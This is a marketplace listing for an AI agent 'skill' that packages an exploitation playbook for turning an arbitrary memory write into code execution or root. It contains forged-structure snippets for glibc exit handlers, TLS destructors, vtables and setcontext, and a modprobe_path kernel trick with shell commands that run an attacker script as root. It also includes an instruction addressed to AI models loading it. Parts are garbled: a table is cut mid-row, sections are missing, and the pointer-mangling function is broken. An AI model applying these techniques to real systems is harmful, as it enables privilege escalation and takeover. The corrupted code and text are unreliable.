# Arbitrary Write To Rce

> >-

- **Type:** Skill
- **Install:** `agentstack add skill-yaklang-hack-skills-arbitrary-write-to-rce`
- **Verified:** Yes — security-reviewed for prompt injection and unsafe behavior
- **Seller:** [yaklang](https://agentstack.voostack.com/s/yaklang)
- **Installs:** 0
- **Category:** [Agent Skills](https://agentstack.voostack.com/c/agent-skills)
- **Latest version:** 0.1.0
- **License:** MIT
- **Upstream author:** [yaklang](https://github.com/yaklang)
- **Source:** https://github.com/yaklang/hack-skills/tree/main/skills/arbitrary-write-to-rce

## Install

```sh
agentstack add skill-yaklang-hack-skills-arbitrary-write-to-rce
```

Requires the [AgentStack CLI](https://agentstack.voostack.com/docs/cli). Works with Claude Code, Cursor, and any MCP-compatible agent.

## About

# SKILL: Arbitrary Write to Code Execution — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Expert techniques for converting an arbitrary write primitive into code execution. Covers every major overwrite target organized by glibc version compatibility: GOT, __malloc_hook, __free_hook, _IO_FILE vtable, __exit_funcs, TLS_dtor_list, _dl_fini, modprobe_path, .fini_array, C++ vtable, and setcontext gadget. This is the "last mile" skill. Base models often target hooks that no longer exist (post-glibc 2.34) or miss pointer mangling requirements.

## 0. RELATED ROUTING

- [heap-exploitation](../heap-exploitation/SKILL.md) — obtaining the arbitrary write via heap attacks
- [format-string-exploitation](../format-string-exploitation/SKILL.md) — obtaining the arbitrary write via %n
- [stack-overflow-and-rop](../stack-overflow-and-rop/SKILL.md) — stack-based write primitives
- [binary-protection-bypass](../binary-protection-bypass/SKILL.md) — which targets are available given protection configuration
- [heap-exploitation IO_FILE_EXPLOITATION.md](../heap-exploitation/IO_FILE_EXPLOITATION.md) — deep _IO_FILE structure exploitation

---

## 1. TARGET SELECTION BY GLIBC VERSION

| Target | glibc _wide_vtable` not range-checked |
| ≥ 2.35 | House of Cat | `_IO_wfile_seekoff` → `_IO_switch_to_wget_mode` → fake wide vtable call |

### FSOP Trigger

```python
# Overwrite _IO_list_all → fake FILE with crafted vtable
# Trigger via exit() or malloc abort → _IO_flush_all_lockp → _IO_OVERFLOW
```

---

## 5. __exit_funcs / __atexit

```c
// __exit_funcs is a linked list of function pointer entries called during exit()
// Each entry contains a flavor (cxa, on, at) and a function pointer
// Function pointers are MANGLED with pointer guard:
//   stored = ROL(ptr ^ __pointer_chk_guard, 0x11)
```

### Exploitation

```python
# Need: libc base + __pointer_chk_guard value (at fs:[0x30] or leaked)
# 1. Leak or brute-force pointer_guard
# 2. Compute mangled function pointer:
import struct
def mangle(ptr, guard):
    return ((ptr ^ guard) > (64-0x11)) & 0xffffffffffffffff

# 3. Write mangled one_gadget/system to __exit_funcs entry
# 4. Trigger: call exit() or return from main
```

### Without Pointer Guard Knowledge

If you can overwrite both the function pointer AND the pointer guard (in TLS at `fs:[0x30]`):
1. Set pointer guard to 0
2. Set function pointer to `ROL(target, 0x11)`
3. Demangling: `ROR(stored, 0x11) ^ 0 = ROR(ROL(target, 0x11), 0x11) = target`

---

## 6. TLS_dtor_list (glibc ≥ 2.34)

**Thread-local destructor list — the primary post-2.34 target.**

```c
// Called during __call_tls_dtors() in exit flow
// Each entry: { void (*func)(void *), void *obj, void *next }
// func is MANGLED same as exit_funcs (PTR_DEMANGLE)
```

### Location

```
TLS area (pointed by fs register on x86-64)
tls_dtor_list is a thread-local variable in libc
Typically at fs:[offset] — offset found via libc symbol or brute-force
```

### Exploitation

```python
# 1. Leak TLS base address (e.g., via canary leak: canary at fs:[0x28])
# 2. Compute tls_dtor_list address
# 3. Forge a tls_dtor_list entry:
entry = p64(mangled_func_ptr)  # func (mangled with pointer guard)
entry += p64(arg_value)         # obj (passed as argument to func)
entry += p64(0)                 # next = NULL (end of list)
# 4. Write entry to heap, set tls_dtor_list to point to it
# 5. Trigger: exit() → __call_tls_dtors() → func(obj)
```

---

## 7. _dl_fini / LINK_MAP CORRUPTION

### Attack Vector

During `exit()`, `_dl_fini` iterates the link_map list and calls `DT_FINI_ARRAY` entries.

```c
// In _dl_fini:
for each loaded library (link_map entry):
    if l_info[DT_FINI_ARRAY]:
        array = l_addr + l_info[DT_FINI_ARRAY]->d_un.d_ptr
        for each entry in array:
            entry()  // call destructor
```

### Exploitation

1. Corrupt a `link_map` entry's `l_addr` (relocation base) to shift the FINI_ARRAY pointer
2. Or corrupt `l_info[DT_FINI_ARRAY]` to point to fake array
3. Fake array contains target function pointer (system, one_gadget)
4. Trigger: `exit()` → `_dl_fini` → calls fake destructor

**Advantage**: No pointer mangling (function pointers in FINI_ARRAY are not mangled).

---

## 8. modprobe_path (KERNEL)

**Overwrite the kernel's `modprobe_path` to execute arbitrary commands as root.**

```python
# 1. Arbitrary kernel write: overwrite modprobe_path ("/sbin/modprobe")
#    with "/tmp/x" (attacker's script)
kernel_write(modprobe_path_addr, b'/tmp/x\x00')

# 2. Prepare script:
# echo '#!/bin/sh' > /tmp/x
# echo 'cat /flag > /tmp/output' >> /tmp/x
# chmod +x /tmp/x

# 3. Trigger: execute a file with unknown binary format
# echo -ne '\xff\xff\xff\xff' > /tmp/trigger
# chmod +x /tmp/trigger
# /tmp/trigger
# → kernel calls modprobe_path ("/tmp/x") as root
```

See [kernel-exploitation](../kernel-exploitation/SKILL.md) for kernel write primitives.

---

## 9. .fini_array

**Overwrite destructor function pointers called during normal program exit.**

```python
# .fini_array contains function pointers called in reverse order during exit
# Typically: [__do_global_dtors_aux, ...]
# Overwrite first entry with target (main for loop, system for RCE)

# Two-stage: .fini_array[0] = main (loop back), .fini_array[1] = 
# First exit: calls .fini_array[1] (exploit_func), then .fini_array[0] (main)
# In main loop: set up final exploit
```

**Limitation**: `.fini_array` may be read-only in Full RELRO binaries.

---

## 10. C++ VTABLE OVERWRITE

```cpp
// C++ objects with virtual functions have a vptr at offset 0
// vptr → vtable → array of function pointers
// Overwrite vptr to point to fake vtable with controlled function pointers

// Object layout:
// +0x00: vptr → [vtable_entry_0, vtable_entry_1, ...]
// +0x08: member data...
```

```python
# 1. Leak object address and vptr
# 2. Create fake vtable in controlled memory:
fake_vtable = p64(0)              # offset -0x10 (RTTI info)
fake_vtable += p64(0)             # offset -0x08 (RTTI info)
fake_vtable += p64(target_func)   # virtual function 0 → system / one_gadget
fake_vtable += p64(target_func)   # virtual function 1
# 3. Overwrite vptr to point to fake_vtable + 0x10 (skip RTTI prefix)
# 4. Trigger: call virtual function on the object
```

---

## 11. setcontext GADGET

`setcontext` in libc loads registers from a `ucontext_t` structure — useful as a pivot gadget.

### glibc < 2.29

```c
// setcontext+53: loads registers from [rdi + offsets]
// RDI = first argument = pointer to controlled buffer
// Sets RSP, RIP, and all other registers → full control
```

### glibc ≥ 2.29

```c
// setcontext+61: loads registers from [rdx + offsets]
// Must control RDX, not RDI
// Need an intermediate gadget: mov rdx, [rdi+X]; ... ; call/jmp [rdx+Y]
```

```python
# Common pattern with __free_hook (pre-2.34):
# __free_hook = setcontext + 61
# free(chunk) → setcontext(chunk) where chunk contains fake ucontext
# From ucontext: set RSP to ROP chain, RIP to ret → ROP continues

# Post-2.34: combine with _IO_FILE exploitation
# _IO_FILE vtable call passes fp as first arg → use gadget to move to rdx → setcontext
```

---

## 12. DECISION TREE

```
You have an arbitrary write primitive. What to target?

├── What's the RELRO level?
│   ├── None / Partial → GOT overwrite (simplest, most reliable)
│   │   └── printf→system, free→system, atoi→system
│   └── Full RELRO → GOT read-only, choose alternative:
│
├── What glibc version?
│   ├── < 2.34 (hooks available)
│   │   ├── __free_hook = system → free("/bin/sh") [easiest]
│   │   ├── __malloc_hook = one_gadget → trigger malloc [if constraints met]
│   │   └── __realloc_hook + __malloc_hook realloc trick [adjust stack alignment]
│   │
│   ├── ≥ 2.34 (no hooks)
│   │   ├── Know pointer guard (fs:[0x30])?
│   │   │   ├── YES → __exit_funcs or TLS_dtor_list
│   │   │   └── NO → overwrite pointer guard to 0 first, then exit_funcs
│   │   ├── _IO_FILE + _IO_wfile_jumps (House of Apple 2 / Cat)
│   │   │   └── Need: libc base + heap address + controllable FILE structure
│   │   ├── _dl_fini link_map corruption
│   │   │   └── Need: ld.so base address
│   │   └── .fini_array (if writable)
│   │       └── Need: binary base (no PIE, or PIE base leaked)
│   │
│   └── Any version
│       ├── Stack return address (if stack address known)
│       └── C++ vtable (if targeting C++ object with virtual functions)
│
├── Kernel write primitive?
│   ├── modprobe_path (simplest kernel→root)
│   ├── core_pattern (/proc/sys/kernel/core_pattern)
│   └── Direct cred structure overwrite
│
└── Need to chain read → write → execute?
    └── setcontext gadget: arbitrary write → pivot RSP → ROP chain
        ├── glibc < 2.29: setcontext+53 (uses RDI)
        └── glibc ≥ 2.29: setcontext+61 (uses RDX, need mov rdx, [rdi] gadget)
```

## Source & license

This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.

- **Author:** [yaklang](https://github.com/yaklang)
- **Source:** [yaklang/hack-skills](https://github.com/yaklang/hack-skills)
- **License:** MIT

Install and usage instructions live in the source repository linked above.

## Pricing

- **Free** — Free

## Security capabilities

Automated source analysis of v0.1.0 — what this tool can access:

- **Network access:** no
- **Filesystem access:** no
- **Shell / process execution:** no
- **Environment & secrets:** no
- **Dynamic code execution:** no

*"Yes" means the capability is present in the source — more access means more to trust, not that it is unsafe.*


## Versions

- **0.1.0** — security scan: passed — Imported from the upstream source.

## Links

- Listing page: https://agentstack.voostack.com/l/skill-yaklang-hack-skills-arbitrary-write-to-rce
- Seller: https://agentstack.voostack.com/s/yaklang
- Browse the marketplace: https://agentstack.voostack.com/browse

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